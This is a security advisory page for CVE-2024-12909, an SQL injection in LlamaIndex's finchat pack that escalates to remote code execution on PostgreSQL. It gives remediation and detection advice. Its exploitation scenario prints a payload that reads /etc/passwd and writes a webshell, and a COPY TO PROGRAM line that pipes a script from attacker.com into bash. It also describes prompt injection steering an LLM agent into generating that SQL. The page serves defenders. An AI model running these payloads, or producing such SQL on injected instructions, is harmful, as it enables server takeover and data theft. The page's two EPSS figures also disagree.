CVE-2024-12909: llama-index finchat: SQL injection enables RCE
GHSA-x48g-hm9c-ww42 CRITICAL PoC AVAILABLE CISA: ATTENDA critical SQL injection flaw (CVSS 10.0) in the FinanceChatLlamaPack's `database_agent` allows any unauthenticated remote attacker to inject arbitrary SQL and escalate to full remote code execution via PostgreSQL's large object functionality — no credentials, no interaction required. With 227 downstream dependents, 12 prior CVEs in the same package, and an EPSS score placing this in the top 28% for exploitation likelihood, the blast radius across AI-driven financial analysis pipelines is significant. Critically, no patch will ever be released: the maintainers resolved this by abandoning the package to a `stale_packages` branch and removing it from documentation. Immediate action is removal of `llama-index-packs-finchat` from all environments; any deployment retaining this package is fully exposed to unauthenticated RCE against its PostgreSQL backend.
What is the risk?
Severity is maximum (CVSS 10.0) with the most dangerous attack profile possible: network-accessible, low complexity, no privileges required, no user interaction, full CIA impact with scope change. The lack of any patch and the package's abandonment mean this vulnerability will never be remediated upstream. While EPSS (0.694%) reflects relatively low current active exploitation, the trivial exploitability of SQL injection combined with the PostgreSQL large object RCE path — a well-documented technique (e.g., CVE-2019-9193 precedent) — means exploitation requires minimal attacker sophistication. Organizations running AI financial analysis agents backed by PostgreSQL face the highest exposure.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| llama-index-packs-finchat | pip | <= 0.3.0 | No patch |
Do you use llama-index-packs-finchat? You're affected.
Severity & Risk
Attack Surface
What should I do?
5 steps-
Remove immediately
Uninstall
llama-index-packs-finchat— no patch exists and none will be issued. Pin yourllama-indexpacks to avoid automatic reinstallation. -
Audit dependent packages
Run
pip show llama-index-packs-finchatand auditrequirements.txt/pyproject.tomlacross all AI services. -
PostgreSQL hardening
Restrict the database user used by any LLM agent to SELECT-only with no SUPERUSER, no CREATEDB, and no
pg_execute_server_programprivilege. DisableCOPY TO PROGRAMfor application roles. -
Detection
Monitor PostgreSQL logs for
lo_create,lo_import,lo_export,COPY TO PROGRAM, andpg_largeobjecttable access patterns from application service accounts. -
Replacement
Implement any required financial DB query functionality using a parameterized query wrapper with strict input validation before exposing to LLM-generated SQL.
CISA SSVC Assessment
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
Classification
Compliance Impact
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2024-12909?
A critical SQL injection flaw (CVSS 10.0) in the FinanceChatLlamaPack's `database_agent` allows any unauthenticated remote attacker to inject arbitrary SQL and escalate to full remote code execution via PostgreSQL's large object functionality — no credentials, no interaction required. With 227 downstream dependents, 12 prior CVEs in the same package, and an EPSS score placing this in the top 28% for exploitation likelihood, the blast radius across AI-driven financial analysis pipelines is significant. Critically, no patch will ever be released: the maintainers resolved this by abandoning the package to a `stale_packages` branch and removing it from documentation. Immediate action is removal of `llama-index-packs-finchat` from all environments; any deployment retaining this package is fully exposed to unauthenticated RCE against its PostgreSQL backend.
Is CVE-2024-12909 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2024-12909, increasing the risk of exploitation.
How to fix CVE-2024-12909?
1. **Remove immediately**: Uninstall `llama-index-packs-finchat` — no patch exists and none will be issued. Pin your `llama-index` packs to avoid automatic reinstallation. 2. **Audit dependent packages**: Run `pip show llama-index-packs-finchat` and audit `requirements.txt`/`pyproject.toml` across all AI services. 3. **PostgreSQL hardening**: Restrict the database user used by any LLM agent to SELECT-only with no SUPERUSER, no CREATEDB, and no `pg_execute_server_program` privilege. Disable `COPY TO PROGRAM` for application roles. 4. **Detection**: Monitor PostgreSQL logs for `lo_create`, `lo_import`, `lo_export`, `COPY TO PROGRAM`, and `pg_largeobject` table access patterns from application service accounts. 5. **Replacement**: Implement any required financial DB query functionality using a parameterized query wrapper with strict input validation before exposing to LLM-generated SQL.
What systems are affected by CVE-2024-12909?
This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, LLM-integrated database tools, Financial analysis AI pipelines, RAG pipelines with SQL backends.
What is the CVSS score for CVE-2024-12909?
CVE-2024-12909 has a CVSS v3.1 base score of 10.0 (CRITICAL). The EPSS exploitation probability is 4.13%.
Technical Details
NVD Description
A vulnerability in the FinanceChatLlamaPack of the llama-index-packs-finchat package, versions up to v0.3.0, allows for SQL injection in the `run_sql_query` function of the `database_agent`. This vulnerability can be exploited by an attacker to inject arbitrary SQL queries, leading to remote code execution (RCE) through the use of PostgreSQL's large object functionality. The issue is resolved by no longer officially supporting the package and moving it into the `stale_packages` branch on the repo, this removing it from documentation etc.
Exploitation Scenario
An attacker targeting an AI financial analysis application built on LlamaIndex sends a crafted natural-language query (or, in an agentic pipeline, injects a malicious instruction via prompt injection). The LLM generates and passes a SQL string containing a PostgreSQL large object payload to `run_sql_query`. Example payload: `'; SELECT lo_import('/etc/passwd'); SELECT lo_export(16384, '/var/www/html/shell.php'); --`. If the PostgreSQL user has sufficient privileges, this writes a webshell to the server filesystem. Alternatively, if the role has `SUPERUSER`, the attacker uses `COPY (SELECT 'payload') TO PROGRAM 'curl attacker.com/shell.sh | bash'` to achieve direct OS command execution. The entire attack chain is unauthenticated and requires no prior knowledge of the schema.
Weaknesses (CWE)
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H References
- github.com/advisories/GHSA-x48g-hm9c-ww42
- github.com/run-llama/llama_index/commit/5d03c175476452db9b8abcdb7d5767dd7b310a75
- github.com/run-llama/llama_index/tree/stale_packages/llama-index-packs/llama-index-packs-finchat
- huntr.com/bounties/44e8177f-200a-4ba3-a12c-8bc21e313a3f
- nvd.nist.gov/vuln/detail/CVE-2024-12909
- github.com/Cr0nu3/Cr0nu3 Exploit
Timeline
Related Vulnerabilities
CVE-2024-11958 9.8 llama-index DuckDB retriever: SQLi enables RCE
Same package: llama-index CVE-2025-1793 9.8 llama_index: SQL injection in vector store integrations
Same package: llama-index CVE-2025-1753 7.8 llama-index-cli: OS command injection enables RCE
Same package: llama-index CVE-2025-3225 7.5 llama-index Papers Loader: XML expansion DoS
Same package: llama-index CVE-2025-3046 7.5 LlamaIndex Obsidian: symlink traversal exposes host files
Same package: llama-index